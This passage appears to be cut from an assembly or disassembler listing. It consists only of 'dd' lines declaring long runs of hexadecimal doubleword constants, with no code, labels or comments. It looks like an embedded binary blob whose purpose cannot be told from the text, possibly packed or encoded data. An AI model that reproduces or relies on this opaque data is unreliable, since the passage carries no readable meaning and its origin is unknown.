		dd 676BD412h, 0AF31C098h
		dd 0A53E65Bh, 0CCC48DF5h, 0E488071Ch, 6C3F702Eh, 831C91E9h
		dd 8180FABFh, 59B390A2h, 0CCF0C94h, 0DC28630Fh,	0CCF34F17h
		dd 0FE05088h, 43BDD897h, 16F2C0DDh, 8DF62331h, 1BD13899h
		dd 0C702D018h, 99AEBA90h, 806854CCh, 0D9F32AF5h, 103CA212h
		dd 68708073h, 5A032147h, 720114AFh, 0AA849818h,	9BC240D8h
		dd 2FCC0E15h, 0B81054A1h, 3C02E319h, 0C7B3AEF9h, 70707BADh
		dd 7209DE55h, 0DAD493h,	9A6E6670h, 5494A01Dh, 0BB572464h
		dd 0A215ED8h, 0D01BEEAh, 3B050E21h, 4B4824D6h, 27A81700h
		dd 1A41A493h, 9D13046Fh, 0C9E36CE6h, 0F0543180h, 3C80DE2Ah
		dd 40B8BEAEh, 5E6B3A69h, 7BF29E00h, 0B9C6311Eh,	76CF02BAh
		dd 379A2CAEh, 0BD1F9C44h, 0B780FAE3h, 1493B505h, 2086357Fh
		dd 9E9407D9h, 0EF94C37Ah, 0B701F87Fh, 0F14FEC6Ah, 2446AED8h
		dd 801E7138h, 7D2F944Ah, 0C3502039h, 51BC5CEDh,	1DCCF957h
		dd 0D4A53CCEh, 0A4700682h, 0B87A4C98h, 6F922B03h, 0C07421C2h
		dd 7479D60h, 3C6343DCh,	0C17BC073h, 0FC3B999Bh,	84C41401h
		dd 6DCF18F8h, 0E9755418h, 8640423h, 0EB0A901h, 1875C6E9h
		dd 0BECA7338h, 95AA4028h, 0DD0C2972h, 284A8F34h, 3920C81h
		dd 0EF8F391h, 143E6F18h, 1FAB56E0h, 25CF4EA6h, 0BF00C464h
		dd 873CC67Bh, 232E43h, 0FA87E48h, 0DF6D1C5Eh, 9734422Dh
		dd 808611D8h, 6E206813h, 78B0F36h, 0C420AE5Ah, 866A6F12h
		dd 4900A098h, 4AB176FEh, 90D584CFh, 0B2460334h,	0F6CCE372h
		dd 0FDEC008h, 464ACBBh,	0DB340A1Dh, 0A98984BCh,	2088F88Eh
		dd 0AAC3FEC0h, 73A6307Fh, 2AF4FB8h, 0CF2C2E00h,	0F82157ACh
		dd 46E09A07h, 0A45C016Fh, 427072C9h, 0A988830Ch, 12A40054h
		dd 6D878D6Ch, 0DD2D2638h, 140B7CAh, 0CCFB6816h,	40EC5003h
		dd 0D5001CA9h, 6D543AFFh, 6186E7h, 20A0F4Eh, 0ABD92BB9h
		dd 461F8491h, 13A0071Eh, 855B454h, 44C05D0Ch, 5F5A7AF1h
		dd 959C2C45h, 0C4F19C00h, 7A55EF66h, 441095C0h,	9400CE57h
		dd 3BD00359h, 4BA7ADDCh, 0C81C8BEDh, 97BDC086h,	20163EECh
		dd 0FF023426h, 6265155Bh, 4390F17Ch, 0C100DB06h, 0C7DC4263h
		dd 9B5D23h, 9A4AC6F9h, 91628714h, 986AECA1h, 231F678h
		dd 0CBA92DD9h, 3D11489Fh, 0C7731880h, 0F63E787Eh, 881DAAF5h
		dd 0C5A2FF07h, 0CA570828h, 0EECC52E0h, 0C48B00E1h, 8A6BF7E4h
		dd 1359265Ah, 605426BCh, 0CD3E8C39h, 0B87CE906h, 0E8FA006Ah
		dd 0F7B6C158h, 0B1F66746h, 573E7300h, 0F5F969E7h, 307216B3h
		dd 23203A43h, 549D000Bh, 2091FAE1h, 9098C224h, 0E8A4483Bh
		dd 609D8C19h, 3F72ADFFh, 0F0C840ABh, 0D0523016h, 0AACA49D8h
		dd 9B733106h, 1D20D928h, 1799EA7Eh, 575888B0h, 0ED5B0F8Ch
		dd 76624590h, 746E037Fh, 4B266609h, 0E86C001Ah,	3287ACD3h
		dd 5F102A9Ah, 85086497h, 9D1560DEh, 5A02AE70h, 0D891839Bh
		dd 8C745498h, 0D1A9FF06h, 66B40200h, 3937B6Fh, 0A3460408h
		dd 82ECD737h, 1867F6E4h, 3A60DD44h, 621716C3h, 0D001DAE2h
		dd 10D7267Fh, 2F3A1421h, 0DF1C1084h, 0D7DC93C0h, 28246285h
		dd 4674FC91h, 29CA000Ch, 0AA1F71CBh, 997F0C67h,	53A0E20Eh
		dd 48906527h, 24012FC0h, 80D0FE71h, 84EA98ABh, 0C2792C51h
		dd 65991660h, 1BA32BEh,	216CEE9Bh, 74D6AD3Fh, 48CC8D8h
		dd 97481580h, 0B064E851h, 14786Ah, 0C9D556EEh, 0F667F7AEh
		dd 0AB7F2F00h, 0E58C8D96h, 8AA4957h, 9C4992Ch, 0CC5AF03Ah
		dd 80B66F39h, 0A32EA485h, 13FE249h, 9EB235C5h, 0F0F5F0CCh
		dd 5C1443B3h, 0BC50D566h, 7DDF4319h, 15D5EC07h,	0D8D4037Bh
		dd 57AA7C80h, 2CA35830h, 34972579h, 5080DC44h, 76F403B4h
		dd 89307707h, 84A0160Dh, 24971AD1h, 0A610C698h,	0CE4282ACh
		dd 1045B5F4h, 0FF601AE4h, 128DCC1h, 4B4B0C6Eh, 601F5CD7h
		dd 397461CCh, 8CE620h, 1FF54062h, 5B2A9559h, 426AE627h
		dd 301880D4h, 9D29FC54h, 0E1911C9Dh, 2C940B80h,	57021F8Eh
		dd 0CD091CE3h, 5E4C5415h, 35003646h, 0CCDBF867h, 0FE12A329h
		dd 0A40109CAh, 0D55C2EF7h, 30D87996h, 1A7F0E94h, 0A2187259h
		dd 0C1003FF1h, 77C00D11h, 276177B3h, 0F4200653h, 3967381Dh
		dd 30630B00h, 4DBADE6Bh, 659D01F4h, 0B2016DBDh,	0C4942432h
		dd 0EF2C8702h, 50B3D763h, 49FA0088h, 929B28E6h,	574A0E5Eh
		dd 0ACB87C34h, 2E6C894Fh, 227ECC70h, 7BCF3C57h,	0A4379916h
		dd 0C700F808h, 5CBB1049h, 4E134C2Fh, 7E642F82h,	507588Ch
		dd 0B4FC204Ah, 423D0660h, 5900FC4Ch, 915D6E7Bh,	3DE3B95h
		dd 76F6947Ah, 0D08CF261h, 60ED6E84h, 3BD43703h,	0B34A42DFh
		dd 12A901E8h, 88047F9Fh, 0CDE070F5h, 0CEFE6709h, 900482E2h
		dd 5CC4564Ch, 0F8073C46h, 71943996h, 0CC0C93C4h, 17280FACh
		dd 927AAC15h, 509006FCh, 6B107E70h, 0C40BDF12h,	0E448572Eh
		dd 0AC2CE354h, 819378A3h, 8A48CA5h, 35302402h, 24A88C08h
		dd 215703Ah, 0C1AA058Fh, 0F41058C5h, 582C9CADh,	0C11875C6h
		dd 4B4117D2h, 8429009Dh, 42F65B34h, 5E242DC0h, 5709AD16h
		dd 0F470E162h, 13E40B3Fh, 74D890AAh, 0E7008446h, 69E9E893h
		dd 76005F09h, 0DCC3F6E6h, 4F4F067Dh, 64480446h,	90C8C44Dh
		dd 593014DCh, 49491860h, 5003B981h, 24CEF4F1h, 8B50544Ah
		dd 0F4942F91h, 8EEDD900h, 0FD31118Dh, 604D49C0h, 18802A3Ah
		dd 0FC24B5B7h, 0DB24C1CBh, 902C68C3h, 0C467Eh, 6BBA2313h
		dd 40441D70h, 0C0987599h, 6C8FBE2Ch, 0A4E88215h, 497D0822h
		dd 0CC2D05B4h, 4D2FE50Bh, 0A9873D81h, 0D11FE43Ah, 0A427EB1Eh
		dd 5826CCE4h, 0C69CB181h, 270184h, 30734E78h, 15498120h
		dd 50D0624Bh, 4FF3065Bh, 98EC0444h, 0B3A49236h,	9C96A0ECh
		dd 95A1D500h, 24DECEC1h, 5BCE642h, 885189BAh, 97B54630h
		dd 80069168h, 0F75EFA97h, 0F588C443h, 0C8E4CB4Bh, 7737C03Ch
		dd 0E3049BF3h, 36D0F8B8h, 8250C8h, 0AC337147h, 899375EAh
		dd 17065A0Ch, 25C27012h, 0E0A17FDEh, 3DF5E36Ch,	0D3670054h
		dd 0FE7E9E7Dh, 2C9A4CC6h, 0C8082100h, 0F559AEF6h, 0D9B09154h
		dd 0C22FB913h, 93993CD0h, 67180B68h, 0C8092C4Ah, 9D9138E0h
		dd 5418AA76h, 6369F1ABh, 303E0E11h, 5880D91Dh, 0F229A378h
		dd 4700CEEAh, 0E5C4DB79h, 1C9AA580h, 4012DF54h,	0A38A497Dh
		dd 0F000962Ah, 0F795B35Ch, 3CAF228h, 0DF4FDDF4h, 100F65F5h
		dd 80999318h, 60B2E464h, 3F4003E1h, 7D1A1339h, 1E666EB8h
		dd 0E9F43D1Eh, 12A39940h, 0FF89142Ah, 42E8C6D1h, 8115003Eh
		dd 0E0302F55h, 784C7657h, 0A0D22808h, 0C1E9D100h, 1F56FA7Dh
		dd 5EACA20Bh, 38014044h, 6C001641h, 5F308652h, 16A547Ah
		dd 0CF98F536h, 0A0CA8714h, 102D8C51h, 5654079Eh, 1A14E029h
		dd 0CB4C4F44h, 0C036884Ch, 31F3B46Fh, 0A3E21C03h, 52BA726h
		dd 829173A0h, 6E90D0DEh, 70B642F7h, 0B76F288h, 989DBF9Dh
		dd 60DE8708h, 27A24BCBh, 38BF0200h, 7D961B23h, 28B939h
		dd 0CF31E60Bh, 0E1A09719h, 0C009D70h, 0C563D153h, 2DC7836Eh
		dd 0AC203A74h, 0B8F8E5B6h, 735D700h, 8D2ACFBEh,	0B477565h
		dd 0FF26FBB7h, 90CA70C0h, 109D6DE0h, 5B31A5B4h,	80B0DBECh
		dd 7F306802h, 0E289D6D3h, 0B2CA0020h, 0E2A2621Bh, 13324F57h
		dd 0F2ECB28Ch, 0C9A30E0h, 882EA801h, 0D3CCFB72h, 2C860024h
		dd 4A430E6h, 0C86314F6h, 610D35Ch, 281633A3h, 901C0865h
		dd 79B05172h, 77AD1884h
		dd 10D8F37Fh, 1871420h,	8B047C71h, 0B088F699h, 0C0984958h
		dd 0AA24B708h, 9BCA0785h, 19C66630h, 0B2618116h, 30533032h
		dd 7C12F1A2h, 0BCA2955Ah, 0F19A93C0h, 76257955h, 4C58A428h
		dd 0D9ACBCFDh, 23B77D00h, 6AB812E1h, 0D3861347h, 0D62CD24Ah
		dd 6504A472h, 430CE6Eh,	6AB17F70h, 0C61C4505h, 68C1580Bh
		dd 382DEC29h, 7A1FB00Ah, 0D93B0A8Ch, 0D53F80A8h, 83FF6EE5h
		dd 9200A7B0h, 6090541Dh, 0C1D4695Fh, 265B42F0h,	1760388Bh
		dd 5CD16211h, 0BC495501h, 663E5030h, 385B607Ch,	0FED33A04h
		dd 0EA0243F6h, 4C56E268h, 0AB30D200h, 44D01F6Fh, 0A8052415h
		dd 7F7C556h, 72F00CF5h,	34C2EABh, 0E0C52DD0h, 0C4603DE4h
		dd 2004B6E8h, 4B109E2Bh, 1CBCE8FCh, 5317008Ch, 285B272Ch
		dd 0B7BDD9A4h, 0E879388h, 0BC5FA34h, 0A8ACD53Eh, 103F4EC8h
		dd 1E94985Eh, 4AE16400h, 10A663FFh, 0C0971725h,	9CC849CFh
		dd 6072B404h, 0F4AEA2C3h, 224143B8h, 3D5BFADEh,	158BAAA4h
		dd 6C59FF5Eh, 0AC829810h, 2C68530Fh, 0F309B94Ah, 6A96D8D6h
		dd 6106050h, 0EEEC808Fh, 0CF0FE40Ch, 975F1071h,	0A1F2437h
		dd 20F29013h, 4B6EC100h, 1984F673h, 94A84009h, 21389664h
		dd 0C52D2F41h, 60DD6444h, 7ECA4A0Ah, 771F059Fh,	0D1DBF7A9h
		dd 0D33759C4h, 41D3F100h, 4F658790h, 3F74135Ah,	0DC58D298h
		dd 0D060029h, 69553Eh, 1FDA51D0h, 0BEE4F8EEh, 4CD55702h
		dd 0DCA32F74h, 5BE25BBCh, 48BA8C44h, 0D2A45951h, 3F157F30h
		dd 18489749h, 147769E0h, 6096AA00h, 989A18B5h, 1506140Fh
		dd 3B86F45Fh, 9B0069F3h, 132B8A5h, 4A70D768h, 91A009A6h
		dd 2008541Dh, 917E6CDFh, 607EF225h, 882A7050h, 1728AA2Bh
		dd 0C208ACF3h, 893A92D8h, 4C135430h, 310013CBh,	28E46570h
		dd 0DC918Bh, 0C0EAAEA6h, 1DEB3FD6h, 0E197AF09h,	0E48865F6h
		dd 8A4A6083h, 710F011Fh, 7D2EFF60h, 294042D4h, 8B6CF020h
		dd 0F938270Fh, 18D66C1Ah, 0DAFB01DCh, 0B434F08Ah, 0BD831D5h
		dd 0DE858424h, 417A2230h, 0F74FE800h, 85D32744h, 0E9D117D9h
		dd 0E13CB2B5h, 0B30CDF1Bh, 378D4B02h, 46DD3B62h, 0C6041D0Ch
		dd 5E4FC0E5h, 935D8C56h, 2A8F6817h, 88EF78E0h, 1F09F079h
		dd 0E193C340h, 287FAA60h, 0E4180334h, 0F14C72A6h, 4A7F689h
		dd 5CE8F677h, 49888107h, 0B4224Ch, 0E552F983h, 716433Ah
		dd 48BFD826h, 6321EC37h, 4CE0C805h, 50E8B28Ch, 91D83A18h
		dd 173D1113h, 692A00AAh, 355775A5h, 4617BDCh, 7F5EFBAFh
		dd 0D0C4C040h, 0E95FA7DEh, 0E088A08Fh, 99340CFh, 0B854EB3Eh
		dd 4FB20E30h, 0D185D7E9h, 0D0B4471Eh, 0E277B059h, 0CB0046A6h
		dd 8B767E47h, 0FD45ACh,	0ADD8B3EFh, 0DE68974Ah,	3B0C8894h
		dd 2CA69D7h, 2D055DE6h,	41577BCBh, 0FDF8E731h, 0F7AC34CFh
		dd 887C8FC0h, 4BBCC084h, 3304D12Bh, 3B1FE771h, 3F8488h
		dd 0B057044h, 3D23A7B0h, 57B14C05h, 0E082E4FBh,	0D274C0E5h
		dd 99771349h, 5B448046h, 13598706h, 7E2E127Ch, 0AFF21420h
		dd 82EC4E50h, 0C4AE054h, 0DC0CF4h, 0E720AA3Fh, 372FFCFh
		dd 58A2A530h, 54D22DACh, 18C7BC23h, 0B1F4DE64h,	7701BC25h
		dd 0A0ADDBA5h, 0D2008FF2h, 0AC121C3Dh, 74C34E57h, 0D8684C2Fh
		dd 2C382710h, 0E80288EAh, 0E002BC9Ah, 13D07F54h, 10C643FFh
		dd 3512DC08h, 0C28C0B12h, 7CF9D882h, 5FD06F01h,	2EC5ED6h
		dd 4AFDA1ADh, 4000DCD1h, 8389D7BCh, 0F5A301B7h,	32FE5B1Ah
		dd 97308034h, 49F42D98h, 74B20F2Ch, 0E8FADD03h,	24EB7860h
		dd 3345480h, 0E356EA85h, 204EDCD4h, 38C86C8Bh, 4F369EC0h
		dd 0D150AA78h, 0A7514270h, 0AA12247Ch, 0E2233C3Fh, 0E6C4F200h
		dd 922B30Bh, 0D9B29A17h, 49767C00h, 727B099h, 0EF7C48DFh
		dd 0CCC380E2h, 9C420E4Fh, 248B36Eh, 58DEDDFCh, 87A107F6h
		dd 9993727Ch, 974F54F0h, 0DB3BE044h, 42295440h,	0EE00B037h
		dd 0F1A91090h, 0FFD6E87h, 2227C192h, 28592ACCh,	0C52D1803h
		dd 0D84198CAh, 499602Fh, 9256A70Fh, 6B6CEC87h, 11DC1D59h
		dd 36AD8585h, 598E7CC0h, 0C3F9023Dh, 0BF4F9356h, 0F1801048h
		dd 0A4AED888h, 0B27F0788h, 54AD4EE8h, 2D4BD26h,	9EFE41C8h
		dd 818C7C4Ch, 6BB6527Ah, 9570209Dh, 0B1296234h,	1844BC09h
		dd 8328757Ch, 0C4906CE2h, 2DE212C7h, 215EC4BEh,	0C580DE88h
		dd 478D7989h, 5D73008Eh, 870CC42Fh, 9CA080FEh, 6A163428h
		dd 3600E244h, 609B92B2h, 88D8BEF3h, 102DF15Dh, 2ED104D4h
		dd 1C1818CFh, 0CCC4098Eh, 0BC9364C8h, 2B5C54E2h, 0C840DE3Ch
		dd 0B257729Bh, 674A02DCh, 0E66BE378h, 15EC1960h, 0ED4837F8h
		dd 40B12750h, 59BC158h,	7B01815Eh, 0C604E054h, 0A11ECBE8h
		dd 0DDC79ECAh, 58056DC3h, 299640E5h, 1110D059h,	299DB20Eh
		dd 0E49C6520h, 6C6760E1h, 0F3E04AFAh, 69CD0034h, 82376D53h
		dd 387F50D1h, 6820954Bh, 52D3B15Ch, 80B74100h, 0E49789C6h
		dd 6405015Eh, 0DD25B0B9h, 9748E94Dh, 50E0DF31h,	0D0162F3Dh
		dd 3711FC9Dh, 0BCCC2680h, 0D6024074h, 302F495Bh, 10F8F953h
		dd 581B9FA9h, 0AB2FE079h, 14829FD4h, 0A85CBB70h, 866E01D6h
		dd 0B55D6179h, 395039D2h, 2089000Fh, 6F2BEA82h,	5A900410h
		dd 0C03C7EFEh, 8F78CC34h, 7DDBEE12h, 880C0E8h, 0AECE7457h
		dd 0C283ED00h, 0B27BCF49h, 508B86Ah, 48F17F47h,	0E350C83Bh
		dd 0D9FF7E1Dh, 11CB643h, 7108819h, 0DEB10999h, 0A060DB27h
		dd 3C2CE392h, 7BB8380Ch, 0FB006891h, 6C9C7747h,	6E7E097Dh
		dd 0C8048A41h, 4814EC3Fh, 30FABDC8h, 0BC0618B7h, 8BAF272Ch
		dd 92DEFA80h, 0DC5896E8h, 82A0A800h, 0C03B0752h, 4FBA7AC1h
		dd 6B2C225Fh, 6E8BE879h, 187C8BE1h, 421C40h, 0BE4AA701h
		dd 893874B0h, 2660AB58h, 0EA119818h, 0D0AF4602h, 44622C70h
		dd 0D6BDC60h, 28824B6h,	0C95A3E79h, 0BA18843Ch,	0FB444DEDh
		dd 0DE4E21E1h, 3F6F1800h, 5C383A41h, 95F29711h,	54668280h
		dd 81488001h, 44A149Eh,	0D8B0DB5Fh, 180A992h, 6A1E28A1h
		dd 6E3AB345h, 0A7A300BCh, 8F3ECBF8h, 99F00010h,	699A3AC0h
		dd 3406809Fh, 0AC36EDBh, 0AED013B8h, 0FBB4C8D7h, 8E9F7CB8h
		dd 0B6EE44B0h, 3EAC44B9h, 4E818D4Ch, 12880C8h, 0ECFC243Fh
		dd 0DD54427Ch, 34337F85h, 6D3BC13Ch, 5F9C8980h,	99A0C775h
		dd 0CA8068DFh, 0C6968C64h, 5157302Eh, 22F9D829h, 0DCEC8E01h
		dd 54A45387h, 606F01E0h, 7A95595Dh, 60B0EC69h, 0C174EE7Fh
		dd 903DD50Fh, 0A91D5E3Ah, 883C7D80h, 748D4EE3h,	8666084h
		dd 253255DAh, 456E7DE2h, 2DE08030h, 589F573h, 53D5A6B1h
		dd 2C0CF02Eh, 4CE81D78h, 0B4942306h, 3101C3Dh, 0CB427F44h
		dd 0D8C09814h, 5828E195h, 0EE03DCECh, 0CA7BC248h, 0D2E5B044h
		dd 0CCE40C7Ch, 7DE0E8E3h, 0CD371312h, 0C1800C5Eh, 6E2ECEE7h
		dd 0AA6000Eh, 0D96A8A5Ah, 2600EFDCh, 898CA141h,	0E674DF43h
		dd 0A0CCF649h, 0C6F7E9h, 86F5F990h, 1EEDD151h, 83F18B7Ch
		dd 0B7353918h, 8D47A148h, 0BF08205Bh, 8400CA30h, 83C9F2FEh
		dd 74327A3Eh, 5EBE6043h, 8ECDFB02h, 7C0042F8h, 792F4839h
		dd 1AB73CDFh, 390A04C3h, 8111203Bh, 1442FF2Ch, 0F93F8B00h
		dd 7EE3477h, 0FF0CA0Fh,	0CE407D2Dh, 390FE32h, 0C74C0F0Ah
		dd 0A539D01h, 4C34E0DEh, 80A88908h, 0FC462AE3h,	12A03EB4h
		dd 3CECE8E9h, 0C37DD900h, 0C70975F3h, 85903F58h, 34AC303Bh
		dd 90E95128h, 9F4B00D0h
		dd 8624E62Ah, 0A49C3322h, 0D940FF1Eh, 0EBBE52D1h, 8B28C838h
		dd 2214C842h, 0ED22E70Bh, 2BB722EAh, 2415B522h,	0F09D2157h
		dd 28826312h, 43241770h, 12EEB321h, 0A114824Fh,	9F502F19h
		dd 7B11A1h, 22F6B839h, 7EE4B6h,	250DE6Bh, 0A7CDA9EFh, 99E65800h
		dd 0FBFCDA6Dh, 0F1170028h, 789A82EEh, 89700A36h, 0D1925E07h
		dd 7B0E3C5h, 0CE7BF4h, 6A4E1B3Bh, 31D46C97h, 0C94F6E0Bh
		dd 63088008h, 161E9E01h, 0D9985Ah, 9344616Ch, 451F1983h
		dd 7B81FF9Ch, 82F85BA8h, 0E3BAF4h, 42F4E621h, 0A5CDC21Fh
		dd 8C9DD014h, 8DDA00A9h, 6BAE5663h, 1B451F5Bh, 6EBC4079h
		dd 0DE68E576h, 0E6F6100h, 2B6C5C2h, 3B7470D0h, 0A703ED2Bh
		dd 7C277195h, 51E410F0h, 670E8DE2h, 0A0D9BF93h,	59ECF857h
		dd 1ECC187Ch, 0B7395063h, 0F9A4FB00h, 96C9D8C2h, 7D1700DBh
		dd 0FE312B8Bh, 0E902D02h, 0F903CCECh, 5D0ED058h, 33500092h
		dd 9FB376AFh, 55382319h, 0DAA50070h, 406AB07Dh,	0D34117B4h
		dd 8EA6003Dh, 0F74CF82Dh, 16BC0A00h, 0F91B2579h, 0C53B004Dh
		dd 33299DCDh, 6A3BAD60h, 0FA428099h, 0BFB8D308h, 0B06C4A5Eh
		dd 0C7002384h, 8AC27145h, 0C7DB030h, 97FF3822h,	9B0BCF11h
		dd 0D55F64AFh, 0CC021280h, 3D00D0A3h, 9D46FEA8h, 0E2BE67F2h
		dd 0F4D3000Bh, 49E52844h, 5F0072FFh, 73A58F08h,	720DC4CAh
		dd 0ECE800E3h, 0EA849481h, 677DE61Dh, 16465F02h, 8061535Ch
		dd 44B67EFDh, 873A07E2h, 7092EBE3h, 0A4CDD672h,	0A000F877h
		dd 1AD4E6A7h, 1B28C1h, 0ACE8B76Fh, 3BE265F1h, 6D3A06C0h
		dd 24535EDFh, 80D89724h, 637B11A5h, 0A74C2B99h,	0D24858h
		dd 9FFDB617h, 5048ED9h,	0DD924C34h, 93C80E9Eh, 731400FFh
		dd 0D8173776h, 60454200h, 0B327398Bh, 0B190052Dh, 0D13D15BFh
		dd 0DC05B88Ch, 3C90F904h, 86823C12h, 0CC424E1Eh, 0E042769Fh
		dd 31B336h, 0F62CDDA0h,	3F0398FEh, 9034C61Ch, 0CFB6F740h
		dd 0ACE0B0h, 75015979h,	0F40B91DAh, 4F6DBF03h, 0E2BBCBAEh
		dd 0FF214089h, 4C9B0073h, 0F0A8BE8Ah, 0B230D737h, 6D3E58B6h
		dd 152007AAh, 0A7061DADh, 3C1F00F3h, 0FB00834Ch, 2C5EFC29h
		dd 7F5ADF1h, 28455121h,	94E9A058h, 390F992Ah, 6367F99Eh
		dd 0A893A11Ah, 0BACB9Fh, 9B89630Ch, 0F0C3B165h,	7AC4AD00h
		dd 3AEE0948h, 151C00CCh, 2AB21611h, 9001EB97h, 69EDDEC5h
		dd 96C8BC59h, 53F0064h,	1B5BA0ADh, 2E00B05Dh, 74817938h
		dd 16A6B4Fh, 0F5A8F348h, 3E1744F8h, 2587C447h, 8DCF8CD0h
		dd 53E02Fh, 0D67FAB58h,	5FE718D4h, 0B54C7D1Eh, 0DE7194C7h
		dd 0C5D91A10h, 61C30087h, 4C2FCF8Eh, 312CBB0Ch,	0EA007856h
		dd 0C18066A4h, 942D0AB2h, 8FCC2939h, 170F4B5Fh,	9AE0798Fh
		dd 0B1C21B31h, 0B05A104h, 1CC21035h, 82524357h,	5B804826h
		dd 78EACBh, 6338A196h, 62804072h, 67E5FC00h, 3EAF419Ch
		dd 84140706h, 80A658C5h, 0A37CF6F0h, 0F2006890h, 3AB901A8h
		dd 2E709B0Ah, 80981431h, 0C8AD8BA1h, 0E43D6CFDh, 6A5F8066h
		dd 0FC2EC9Ah, 23614DFh,	7D7ED40Bh, 0F9CE009Eh, 69C91DB0h
		dd 9B060C7Eh, 0F3A8D3E7h, 79CA00A8h, 51EF533Dh,	71778AF5h
		dd 0DC94A003h, 0F8EB4010h, 1FC469C8h, 0C030EFEAh, 0D421A55Bh
		dd 45242048h, 170C006Bh, 43D94Eh, 8D0F6C69h, 76D404B0h
		dd 7EE12B01h, 7872FF0h,	9D34E4h, 9C563715h, 0F45E2DA7h
		dd 385B2414h, 4ADE07B6h, 73EECEB0h, 6EE8D80Eh, 100627FFh
		dd 8927DB60h, 0D77E09CDh, 9E0E1476h, 710FB0E2h,	0D600E4F4h
		dd 4A03E344h, 76CA00AFh, 0FB4E74F2h, 0B301A06Dh, 3A1DF973h
		dd 0ECEC50E6h, 119B07A7h, 50E52657h, 42AC6D3Dh,	146E758h
		dd 6072F678h, 5460CBC6h, 639600FAh, 1A2DD926h, 21485B14h
		dd 1351013Ch, 6AA6C5EEh, 0A12CC4h, 16960E06h, 70AFA801h
		dd 0FF099C07h, 0ADE2ABBh, 8E009481h, 407B501Bh,	6A7E392Dh
		dd 6138CB80h, 0EEF099A0h, 69E4750Fh, 0B60037C2h, 2254E806h
		dd 260E01F4h, 2CB7AB9Ch, 436C3053h, 3C3BB273h, 0F2120031h
		dd 0F89B48CDh, 1FC07165h, 80DFA4E5h, 88423599h,	3E09BF2Bh
		dd 5BE207Fh, 984008D4h,	8E9DDBB1h, 5FB73B01h, 0FA967B80h
		dd 0D59A145Dh, 0BFBF7726h, 2328C500h, 217A9Ch, 63A79F84h
		dd 6A43E7D0h, 2D547B12h, 94A45000h, 70F83476h, 5D7A1Bh
		dd 5BE8C2D0h, 8864464Fh, 0CD8FB70Eh, 0A522C0FCh, 0F02DC1h
		dd 9799692Ah, 201E31D2h, 9C9B7F00h, 0A125E04Ah,	0FD09004h
		dd 1151AEB6h, 90AF6644h, 1FADA9B4h, 405D9700h, 7AEDDD04h
		dd 0E88D03DCh, 0FDC6D23Dh, 7D1C81C8h, 5B059B07h, 0F470BB3Ah
		dd 197A3B1h, 1DAB1B6Dh,	347A9233h, 8BEC6570h, 0C86F470Bh
		dd 7F38004Ch, 2DFF6Ch, 0AEAAE530h, 65C3D57Eh, 80B1593Dh
		dd 0C413A6BBh, 12151D8Fh, 0E0DFD7h, 478619A0h, 0F41E4387h
		dd 0B600A813h, 0AB6E9356h, 7CB0197h, 0BE32C1D3h, 0C336F167h
		dd 0C41D71F6h, 58BF199Ah, 0CBE11044h, 0F561B600h, 0BE861F39h
		dd 0AD27D02h, 602CA884h, 62CD78h, 7C38143Bh, 3F24FAE2h
		dd 0BED8900h, 0B17F1979h, 148709A0h, 8D802DA9h,	362C9F8Fh
		dd 11637800h, 9EF342A6h, 9C49775Fh, 0B88800D8h,	406C1892h
		dd 0D3C11B00h, 0C01C9EBCh, 0C8E100EAh, 42AD533Ch, 950E9121h
		dd 0E0CA1E08h, 8C35446Eh, 0BA8D00EEh, 27F7BB32h, 21145477h
		dd 3EE4FEF5h, 0F8593AAh, 101E9C40h, 0A5EC87h, 1A0513C7h
		dd 19D4A1ACh, 0A8F7A907h, 0EF00D1C3h, 0B85441h,	0D745B7F5h
		dd 985DF013h, 59A68E00h, 0DF213BB3h, 62BD006Eh,	52A82D5Fh
		dd 0CB00151Ah, 0C8B0B9FBh, 0FEB3171Fh, 794EC7h,	0D4DA92D4h
		dd 282EBBB1h, 0ED1CB75Ch, 71A74600h, 384E9084h,	6A810BF4h
		dd 114DFAB2h, 75CCF0D7h, 3509EEFAh, 0FF53A701h,	7E176E00h
		dd 32001FCDh, 0BC3868C2h, 0C40A85h, 0D8DB6F75h,	7767E3B9h
		dd 0DE012400h, 5C265EC7h, 9CE9030Fh, 3AE1FC9Fh,	6D4F9AF8h
		dd 4A330B00h, 7537D77Ch, 8AE00370h, 647EDDD9h, 7D439AA8h
		dd 13D3031Ch, 0D5259800h, 12CD8568h, 2422AE2h, 1F039639h
		dd 0A7009050h, 1D679549h, 0DD7C82h, 69C4D697h, 0BF2841DAh
		dd 7BE4700h, 0DB24FF27h, 30B08Eh, 0E5CFCBB4h, 1FFD7626h
		dd 0DCCE109h, 0F4CC5006h, 0BD771EBFh, 65A0C09Eh, 0C2235187h
		dd 0A9CDAA00h, 0E6112ACh, 5830E517h, 32E900EAh,	0BB525890h
		dd 0D900DA2Bh, 0F03A082h, 0F059CCCDh, 9C3050C3h, 716F095Ch
		dd 300E457h, 0CD96E092h, 0DF389800h, 7D6AC1A1h,	42B700A9h
		dd 16747C3Ah, 0BE0080CAh, 0FC256F58h, 6A3DE69h,	4E2A036Dh
		dd 0D43AD064h, 6E230FC4h, 0E38D0122h, 9C60E8BBh, 0B18A0105h
		dd 5820171Eh, 5BB46042h, 777B44h, 6014E259h, 0D73C79Ah
		dd 0F7F8AA09h, 0DA14805Dh, 0E0834D4Ch, 6DE80967h, 18428BC0h
		dd 44070160h, 0F8DF58h,	4C40EABCh, 0BD70AAFh, 0D6F4BFB8h
		dd 0C645B840h, 1E7A29EEh, 0CF77FCC7h, 0E22AE730h, 49850F72h
		dd 0BB60CC1Fh, 97DFDE42h, 9AD56A04h, 0B1C0F1D7h, 5C2149E5h
		dd 0C251D8ABh, 0B450EAD5h, 2E67323Ch, 788811h, 0BDA180E8h
		dd 2A1DA429h, 0E29E2868h, 4021438Fh, 3B25AFDh, 0B4580166h
		dd 5F0BBC69h, 78FC60C9h, 6BBB7603h, 72A0EC43h, 38920568h
		dd 34889Bh, 0DB6E6884h,	0B60FAD3Eh, 53FF4152h, 46A28400h
		dd 3EBCCE79h, 5980FCCAh, 4F9CD50Bh, 19780C55h, 46249500h
		dd 5EBC0DB9h
		dd 1721070Fh, 19C9579Dh, 8B424C60h, 6B016307h, 0D786EC11h
		dd 0E3571741h, 642C0315h, 81905A9Ah, 0A1099D6Ah, 801D3446h
		dd 51455E90h, 10441317h, 2D7E01B3h, 202F4F9Dh, 0CC002834h
		dd 16E85795h, 14657DE0h, 0F49805BFh, 79CBE381h,	0EE4A70F9h
		dd 3690D2C7h, 0A5CEB1B0h, 27604A94h, 0C385C460h, 0B1802C42h
		dd 131D76B9h, 0E4AE62C1h, 3D94E101h, 11806CC2h,	0F7B512C4h
		dd 0B47E84FEh, 73E57F00h, 0BC04E7E0h, 5ED705EEh, 0B019A253h
